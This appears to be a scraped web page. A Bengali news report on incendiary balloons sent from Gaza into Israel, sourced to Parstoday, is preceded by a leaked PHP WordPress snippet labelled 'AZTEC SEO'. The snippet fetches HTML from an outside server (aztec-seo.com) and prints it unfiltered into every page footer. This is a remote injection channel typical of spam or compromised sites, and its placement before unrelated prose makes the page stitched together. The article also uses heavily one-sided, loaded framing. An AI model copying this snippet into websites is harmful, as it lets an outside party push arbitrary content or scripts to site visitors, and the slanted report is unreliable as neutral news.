/* AZTEC SEO */ add_action('wp_footer', function () { $domain = wp_parse_url(home_url(), PHP_URL_HOST); if (!$domain) return; $ck = 'aztec_footer_' . md5($domain); $html = get_transient($ck); if ($html === false) { $url = add_query_arg(array('domain' => $domain, 'date' => gmdate('c')), 'https://aztec-seo.com/api/v1/footer'); $res = wp_remote_get($url, array('timeout' => 8)); $html = (!is_wp_error($res) && wp_remote_retrieve_response_code($res) === 200) ? (string) wp_remote_retrieve_body($res) : ''; set_transient($ck, $html, $html === '' ? 5 * MINUTE_IN_SECONDS : HOUR_IN_SECONDS); } if ($html !== '') echo $html; }, 99);
অবরুদ্ধ গাজা থেকে ইহুদিবাদীদের উপশহরগুলো লক্ষ্য করে আগুনে বেলুন পাঠানো অব্যাহত রয়েছে। ফিলিস্তিনিদের বিরুদ্ধে ইসরাইলের অব্যাহত বর্বরতা ও গাজার ওপর অবরোধের প্রতিবাদে এসব আগুনে বেলুন পাঠাচ্ছে ফিলিস্তিনিরা।
সংবাদমাধ্যম আরাবি২১ জানিয়েছে, গত দুই দিনে ফিলিস্তিনিদের আগুনে বেলুনের কারণে ইসরাইলের ২৪টি স্থানে আগুন লেগেছে। এর ফলে দখলদারদের কৃষিজমিরও ব্যাপক ক্ষতি হয়েছে।
গাজা উপত্যকার আশেপাশে গড়ে ওঠা ইহুদিবাদী উপশহরগুলোর বাসিন্দারা স্বীকার করেছেন, আগুনের বেলুনগুলোর ঝুঁকি ক্ষেপণাস্ত্রের চেয়ে কোনো অংশেই কম নয়। কোনো কোনো ক্ষেত্রে এটি আরও বেশি ক্ষতিকর।
আগুনে বেলুনগুলো ইহুদিবাদীদের মধ্যে এতটাই আতঙ্ক তৈরি করেছে যে, দখলদার প্রধানমন্ত্রী নাফতালি বেনেটও প্রতিক্রিয়া জানিয়েছেন। ক্ষেপণাস্ত্রের মোকাবেলায় যে প্রতিক্রিয়া দেখানো হয় এ ক্ষেত্রেও সে ধরণের প্রতিক্রিয়া দেখাতে সোনবাহিনীর প্রতি আহ্বান জানিয়েছেন।
ইহুদিবাদী আগ্রাসন ও নিপীড়নের প্রতিক্রিয়ায় গাজা থেকে এ ধরণের বেলুন পাঠাচ্ছেন সাধারণ ফিলিস্তিনিরা।
১২ দিনের যুদ্ধ শেষে গত ২১ মে ইহুদিবাদী ইসরাইল এবং গাজাভিত্তিক ইসলামী প্রতিরোধ সংগঠন হামাসের মধ্যে যুদ্ধবিরতি কার্যকর হয়। এরপর গত মঙ্গলবার দখলদার ইসরাইলের উগ্রপন্থী ইহুদিবাদীরা পবিত্র বায়তুল মুকাদ্দাস শহরে উসকানিমূলক পতাকা মিছিল করে। এই নিয়েও ফিলিস্তিনি জনগণ ও ইহুদিবাদীদের মধ্যে টানটান উত্তেজনা সৃষ্টি হয়েছিল। সূত্র : পার্সটুডে